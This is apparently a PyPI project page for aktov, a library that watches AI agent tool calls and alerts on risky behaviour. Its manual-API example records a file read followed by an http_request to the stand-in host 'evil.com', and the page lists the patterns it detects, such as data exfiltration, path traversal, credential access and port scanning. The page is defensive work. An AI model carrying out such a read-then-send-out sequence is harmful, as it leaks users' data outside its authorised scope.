Detection engineering for AI agents. Alerts when agents do weird or risky things.
Project description
aktov
Detection engineering for AI agents.
pip install aktov — alerts when agents do weird or risky things.
Every act, on record.
Quick Start
Claude Code
pip install aktov
aktov init claude-code
# Done. Alerts appear in real-time during Claude Code sessions.
# Run `aktov report` to review after a session.
OpenClaw
pip install aktov
aktov init openclaw
aktov watch
# Done. Real-time security monitoring for OpenClaw sessions.
# Alerts appear as your agent uses tools.
# Run `aktov report` to review after a session.
OpenAI Agent SDK
from agents import Agent, Runner
from aktov.integrations.openai_agents import AktovHooks
hooks = AktovHooks(aktov_agent_name="my-agent")
result = await Runner.run(agent, input="...", hooks=hooks)
response = hooks.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]
LangChain
from aktov.integrations.langchain import AktovCallback
cb = AktovCallback(aktov_agent_name="my-agent")
agent.invoke("do something", config={"callbacks": [cb]})
response = cb.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]
MCP
from aktov.integrations.mcp import wrap
traced = wrap(mcp_client, aktov_agent_name="my-agent")
result = await traced.call_tool("read_file", {"path": "/data/report.csv"})
response = traced.end_trace()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]
Manual (any framework)
from aktov import Aktov
ak = Aktov(agent_id="my-agent", agent_type="custom")
trace = ak.start_trace()
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]
No API key needed. Works immediately after pip install aktov.
Want to see it in action first? Try the Detection Lab — 5 demos that show real attack detection in 30 seconds.
Setup
Use aktov init to get framework-specific instructions:
aktov init claude-code # writes hook config automatically
aktov init openclaw # installs skill + use `aktov watch` for real-time
aktov init openai-agents # prints code to add
aktov init langchain # prints code to add
aktov init mcp # prints code to add
aktov init custom # prints manual API usage
Connect to Cloud
Add an API key to unlock cross-trace correlation, dedup, webhooks, and the full ruleset:
ak = Aktov(api_key="ak_...", agent_id="my-agent", agent_type="summarizer")
What It Detects
Aktov monitors AI agent tool calls and detects anomalous behavior patterns:
- Data exfiltration — read followed by network egress to external domains
- Capability escalation — agents accessing tools outside their authorized scope
- Path traversal —
../patterns in tool arguments (prompt injection indicator) - Credential abuse — non-credential agents touching secrets/vaults
- Runaway agents — extreme chain lengths, burst failures, port scanning
Features
- Plug-and-play: 1-2 lines to integrate with Claude Code, OpenAI Agent SDK, LangChain, MCP
- Local rule evaluation:
trace.end()evaluates bundled rules instantly — no cloud needed - Near-zero latency: hooks just append to memory — evaluation only runs at
.end() - SAFE mode (default): raw arguments never leave your machine — only semantic flags are extracted
- Custom rules: bring your own YAML detection rules via
rules_dir - Cloud upgrade: add
api_keyfor cross-trace analysis, dedup, webhooks, dashboard
CLI
# Set up for your framework
aktov init claude-code
# Review Claude Code session alerts
aktov report
# Scan trace files against detection rules (works offline)
aktov scan trace.json
# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe
Custom Rules
Load your own YAML detection rules instead of the bundled samples:
ak = Aktov(agent_id="my-agent", agent_type="summarizer", rules_dir="./my-rules")
SAFE vs DEBUG Mode
| SAFE (default) | DEBUG | |
|---|---|---|
| Raw arguments | Stripped client-side | Included |
| Semantic flags | Extracted and sent | Extracted and sent |
| Use case | Production | Development only |
License
Apache-2.0
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file aktov-0.3.4.tar.gz.
File metadata
- Download URL: aktov-0.3.4.tar.gz
- Upload date:
- Size: 64.3 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
60ee1a0ec1cb7beb11b43de0eeee1183c383e646e0f2cd9079582da6f27a9743
|
|
| MD5 |
6e3cb01f331f0dd106090e01ced62519
|
|
| BLAKE2b-256 |
221bd97e7e2937fd3e3804dbc9e9bd97eb9dc712c9af496c305b46eaf686b73b
|
Provenance
The following attestation bundles were made for aktov-0.3.4.tar.gz:
Publisher:
publish.yml on sharmaharjeet92/aktov
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
aktov-0.3.4.tar.gz -
Subject digest:
60ee1a0ec1cb7beb11b43de0eeee1183c383e646e0f2cd9079582da6f27a9743 - Sigstore transparency entry: 928409327
- Sigstore integration time:
-
Permalink:
sharmaharjeet92/aktov@0774700a46f34c089b7ef16f6a6bb35f80387093 -
Branch / Tag:
refs/tags/v0.3.4 - Owner: https://github.com/sharmaharjeet92
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@0774700a46f34c089b7ef16f6a6bb35f80387093 -
Trigger Event:
release
-
Statement type:
File details
Details for the file aktov-0.3.4-py3-none-any.whl.
File metadata
- Download URL: aktov-0.3.4-py3-none-any.whl
- Upload date:
- Size: 61.3 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
3777903093d0a6b6aa77ef0d54aee70a26b5c88f54e03a71883ce2b87effe09b
|
|
| MD5 |
eb98af395bba17d39d78bd41c829e7b9
|
|
| BLAKE2b-256 |
ef872ee19817085f78b5f2efcf6ab2c6bc6a02aeee82a1940d11696382d11996
|
Provenance
The following attestation bundles were made for aktov-0.3.4-py3-none-any.whl:
Publisher:
publish.yml on sharmaharjeet92/aktov
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
aktov-0.3.4-py3-none-any.whl -
Subject digest:
3777903093d0a6b6aa77ef0d54aee70a26b5c88f54e03a71883ce2b87effe09b - Sigstore transparency entry: 928409328
- Sigstore integration time:
-
Permalink:
sharmaharjeet92/aktov@0774700a46f34c089b7ef16f6a6bb35f80387093 -
Branch / Tag:
refs/tags/v0.3.4 - Owner: https://github.com/sharmaharjeet92
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@0774700a46f34c089b7ef16f6a6bb35f80387093 -
Trigger Event:
release
-
Statement type: